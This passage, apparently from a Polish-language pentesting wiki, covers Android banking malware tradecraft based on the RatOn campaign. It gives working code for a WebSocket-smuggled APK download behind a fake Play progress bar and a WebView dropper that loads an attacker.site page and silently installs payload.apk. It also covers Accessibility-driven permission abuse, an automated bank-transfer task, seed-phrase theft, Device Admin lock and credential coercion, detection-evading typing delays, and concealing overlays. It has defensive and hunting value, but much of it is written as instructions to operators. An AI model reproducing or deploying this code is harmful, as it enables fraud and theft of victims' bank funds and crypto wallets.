// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

Dlaczego omija proste mechanizmy ochronne:
- Żaden statyczny URL APK nie jest ujawniany; payload jest rekonstruowany w pamięci z WebSocket frames.
- Filtry URL/MIME/extension, które blokują bezpośrednie odpowiedzi .apk, mogą nie wykryć binarnych danych tunelowanych przez WebSockets/Socket.IO.
- Crawlers i URL sandboxes, które nie wykonują WebSockets, nie pobiorą payload.

Zobacz też WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – studium przypadku RatOn

Kampania RatOn banker/RAT (ThreatFabric) jest konkretnym przykładem, jak nowoczesne operacje mobile phishing łączą WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover i nawet NFC-relay orchestration. Ta sekcja wydziela techniki nadające się do ponownego użycia.

### Stage-1: WebView → native install bridge (dropper)
Atakujący wyświetlają WebView wskazujące na stronę atakującego i wstrzykują JavaScript interface, który udostępnia native installer. Stuknięcie w HTML button wywołuje native code, który instaluje second-stage APK dołączony w dropper’s assets, a następnie uruchamia go bezpośrednio.

Minimalny wzorzec:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

HTML na stronie:

<button onclick="bridge.installApk()">Install</button>

Po instalacji dropper uruchamia payload za pomocą explicit package/activity:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: nieufne aplikacje wywołujące addJavascriptInterface() i udostępniające WebView metody przypominające instalator; APK zawierający osadzony wtórny payload w assets/ i wywołujący Package Installer Session API.

Proces uzyskiwania zgody: Accessibility + Device Admin + kolejne monity runtime

Etap 2 otwiera WebView, które hostuje stronę „Access”. Jej przycisk wywołuje eksportowaną metodę, która przekierowuje ofiarę do ustawień Accessibility i prosi o włączenie złośliwej usługi. Po przyznaniu, malware używa Accessibility do automatycznego klikania przez kolejne monity uprawnień w czasie działania (contacts, overlay, manage system settings, itp.) oraz żąda Device Admin.

• Accessibility programowo pomaga zaakceptować późniejsze monity, znajdując przyciski takie jak “Allow”/“OK” w node-tree i wykonując kliknięcia.
• Sprawdzenie/żądanie uprawnienia overlay:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

Zobacz także:

Accessibility Services Abuse

Overlay phishing/ransom przez WebView

Operatorzy mogą wydawać polecenia, aby:

• wyrenderować pełnoekranowy overlay z URL, lub
• przekazać inline HTML ładowany do overlay WebView.

Prawdopodobne zastosowania: wymuszanie (wprowadzanie PIN), otwieranie wallet w celu przechwycenia PIN-ów, wyświetlanie komunikatów ransom. Zachowaj polecenie, które zapewni przyznanie uprawnienia overlay, jeśli go brakuje.

Model zdalnego sterowania – pseudo-ekran tekstowy + screen-cast

• Niskopasmowy: okresowo zrzucaj drzewo węzłów Accessibility, serializuj widoczne teksty/role/bounds i wyślij do C2 jako pseudo-ekran (polecenia takie jak txt_screen jednorazowo i screen_live ciągłe).
• Wysoka wierność: zażądaj MediaProjection i rozpocznij screen-casting/nagrywanie na żądanie (polecenia jak display / record).

ATS playbook (automatyzacja aplikacji bankowej)

Mając zadanie w JSON, otwórz aplikację bankową, steruj UI przez Accessibility za pomocą mieszanki zapytań tekstowych i stuknięć w współrzędne, i wpisz PIN płatniczy ofiary, gdy pojawi się monit.

Przykładowe zadanie:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Przykładowe teksty widziane w jednym przepływie docelowym (CZ → EN):

• “Nová platba” → “Nowa płatność”
• “Zadat platbu” → “Wprowadź płatność”
• “Nový příjemce” → “Nowy odbiorca”
• “Domácí číslo účtu” → “Krajowy numer konta”
• “Další” → “Dalej”
• “Odeslat” → “Wyślij”
• “Ano, pokračovat” → “Tak, kontynuuj”
• “Zaplatit” → “Zapłać”
• “Hotovo” → “Gotowe”

Operatorzy mogą także sprawdzać/podnosić limity przelewów za pomocą poleceń takich jak check_limit i limit, które nawigują po UI limitów w podobny sposób.

Crypto wallet seed extraction

Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: odblokuj (skradziony PIN lub podane hasło), przejdź do Security/Recovery, pokaż seed phrase, keylog/exfiltrate it. Zaimplementuj selektory uwzględniające lokalizację (EN/RU/CZ/SK), aby ustabilizować nawigację w różnych językach.

Device Admin coercion

Device Admin APIs są używane do zwiększenia możliwości przechwytywania PIN-u i sfrustrowania ofiary:

• Immediate lock:

dpm.lockNow();

• Wygasić bieżące poświadczenie, aby wymusić zmianę (Accessibility przechwytuje nowy PIN/hasło):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• Wymuś odblokowanie bez biometrii, wyłączając funkcje biometryczne keyguard:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Uwaga: Wiele kontroli DevicePolicyManager wymaga Device Owner/Profile Owner na nowszych wersjach Androida; niektóre buildy OEM mogą być mniej restrykcyjne. Zawsze zweryfikuj na docelowym OS/OEM.

Orkiestracja NFC relay (NFSkate)

Stage-3 może zainstalować i uruchomić zewnętrzny moduł NFC-relay (np. NFSkate) i nawet przekazać mu szablon HTML, aby poprowadzić ofiarę podczas relayu. Pozwala to na bezkontaktowe wypłaty przy obecności fizycznej karty równolegle z online ATS.

Tło: NFSkate NFC relay.

Zestaw poleceń operatora (przykład)

• UI/stan: txt_screen, screen_live, display, record
• Social: send_push, Facebook, WhatsApp
• Nakładki: overlay (inline HTML), block (URL), block_off, access_tint
• Portfele: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Urządzenie: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• Komunikacja/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Mechanizmy anty-detekcyjne dla ATS oparte na Accessibility: rytm tekstu podobny do ludzkiego i podwójne wstrzykiwanie tekstu (Herodotus)

Aktorzy zagrażający coraz częściej łączą automatyzację opartą na Accessibility z mechanizmami anty-detekcyjnymi nastawionymi na omijanie prostych biometrycznych heurystyk zachowania. Niedawny banker/RAT pokazuje dwa uzupełniające się tryby dostarczania tekstu oraz przełącznik operatora do symulacji ludzkiego pisania z losowym rytmem.

• Tryb wykrywania: enumeruje widoczne węzły z selektorami i bounds, aby precyzyjnie celować w inputy (ID, text, contentDescription, hint, bounds) przed działaniem.
• Podwójne wstrzykiwanie tekstu:
• Tryb 1 – ACTION_SET_TEXT bezpośrednio na docelowym node (stabilne, bez klawiatury);
• Tryb 2 – ustawienie schowka + ACTION_PASTE do fokusowanego node’a (działa, gdy bezpośrednie setText jest zablokowane).
• Rytm podobny do ludzkiego: podziel ciąg dostarczony przez operatora i wprowadzaj go znak-po-znaku z losowanymi opóźnieniami 300–3000 ms między zdarzeniami, aby ominąć heurystyki “pisania z prędkością maszyny”. Zaimplementowane albo przez stopniowe rozrastanie wartości za pomocą ACTION_SET_TEXT, albo przez wklejanie po jednym znaku naraz.

</details>

Nakładki blokujące jako przykrywka do oszustw:
- Renderuj pełnoekranowy `TYPE_ACCESSIBILITY_OVERLAY` z kontrolowaną przez operatora przezroczystością; utrzymuj go nieprzezroczystym dla ofiary, podczas gdy zdalna automatyzacja działa pod spodem.
- Zazwyczaj udostępniane polecenia: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Minimalna nakładka z regulowaną alfą:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);